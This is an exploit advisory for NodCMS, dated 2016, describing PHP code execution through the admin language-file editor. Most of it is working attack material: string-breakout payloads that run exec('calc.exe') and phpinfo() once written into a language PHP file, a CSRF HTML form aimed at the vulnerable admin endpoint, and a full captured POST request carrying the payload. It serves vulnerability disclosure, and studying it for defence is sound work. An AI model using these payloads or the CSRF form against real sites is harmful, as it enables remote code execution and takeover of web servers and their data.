NodCMS PHP Code Execution
Posted on 08 November 2016
<!-- Title: NodCMS - PHP Code Execution Application: NodCMS Versions Affected: All Version Vendor URL: http://nodcms.com/ Software URL: https://github.com/khodakhah/nodcms/archive/master.zip Discovered by: Ashiyane Digital Security Team Tested on: Windows 10 Bugs: PHP Code Execution Date: 13-Sept-2016 Proof of Concept : Go to Languages menu , select one of languages (such as english) and from action click on Edit Language(en_lang.php). In opened page can see language keys and change them. Select one them(for example "Get More Information") and enter this one of payloads. ";exec('calc.exe');echo "1 ";phpinfo();echo "Code Injected Code Executec... Now in "config.php" the payload injected. $lang["Get More Information"] = "";phpinfo();echo "Code Injected"; Because cmd is vulnerable to csrf can use this exploit: --> <form method="post" action="http://localhost/nodcms-master/admin/edit_lang_file/1/en"> <input name="data[]" type="text" value='";phpinfo();echo "Code Injected'> <input type="submit" value="Submit"> </form> <!-- HTTP Request http://localhost/nodcms-master/admin/edit_lang_file/1/en POST /nodcms-master/admin/edit_lang_file/1/en HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/nodcms-master/admin/edit_lang_file/1/en Cookie: __atuvc=15%7C41; grav-tabs-state={%22tab-content.options.advanced%22:%22data.content%22}; ci_session=5563aaffb41e0fdf6a0cd65bc945e8c63053afe2; PHPSESSID=l9pgj92pnfddlt45f6fpf2tce7 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 2601 POST Content: data[]=";exec('calc.exe');echo+"1&data[]=All&data[]=Read+Info&data[]=Contact+us&data[]=Login&data[]=Sign+Up&data[]=Home&data[]=Please+Fill+Required+Fields&data[]=Map&data[]=Contact+form&data[]=Full+Name&data[]=Email+address&data[]=Subject&data[]=Request&data[]=Send+email&data[]=Some+Tips&data[]=This+form+is+just+for+who+is+already+our+website's+member!&data[]=If+you+don't+have+any+account+and+didn't+sign+in+before,+use+the+below+link+before+use+this+form!&data[]=You+can+use+your+email+address+or+username+for+sign.&data[]=Username+or+Email&data[]=Email&data[]=Password&data[]=Keep+me+logged+in&data[]=Sign+in&data[]=I+forgot+My+Password&data[]=Please+enter+a+username+or+email+address.&data[]=Please+enter+your+password.&data[]=Register&data[]=Quick+Registration&data[]=You+can+enter+your+email+address+using+the+box+below,+and+get+the+latest+news!&data[]=Enter+your+email+address&data[]=Register+now&data[]=Please+enter+a+valid+email+address.&data[]=Search&data[]=Comments&data[]=Please+send+us+your+feedback&data[]=Read+More&data[]=Search+result&data[]=loading...&data[]=Username+or+password+not+correct&data[]=Forget+password&data[]=Return+password&data[]=If+you+forgot+your+password,+you+can+enter+the+email+address+you+used+to+register+below.+You'll+receive+an+email+from+us+which+you+can+use+to+retrieve+your+password.&data[]=Submit&data[]=This+email+already+exists,+choose+another+email+address+or+click+on+forget+password.&data[]=We+made+a+new+account+for+you,+for+active+your+it+and+choose+your+password+click+on+this+link&data[]=Your+request+is+not+valid.&data[]=Set+password&data[]=Please+provide+a+password&data[]=Your+password+must+be+at+least+6+characters+long&data[]=Please+enter+the+same+password+as+above&data[]=We+send+you+a+link+to+your+email,+please+check+your+email+inbox+and+spam,+and+flow+that.&data[]=Login+now&data[]=Back+to+home&data[]=Choose+your+new+password&data[]=Insert+your+new+password&data[]=Insert+your+new+password+again&data[]=Confirm+your+account&data[]=Change+password+confirmation!&data[]=Your+account+is+active+now.&data[]=Password+Reset&data[]=Change+pass&data[]=Log+Out&data[]=Change+password&data[]=Change+Passwrod&data[]=Last+Password&data[]=New+password&data[]=Password+Confirm&data[]=Cancel&data[]=Last+password+not+correct -->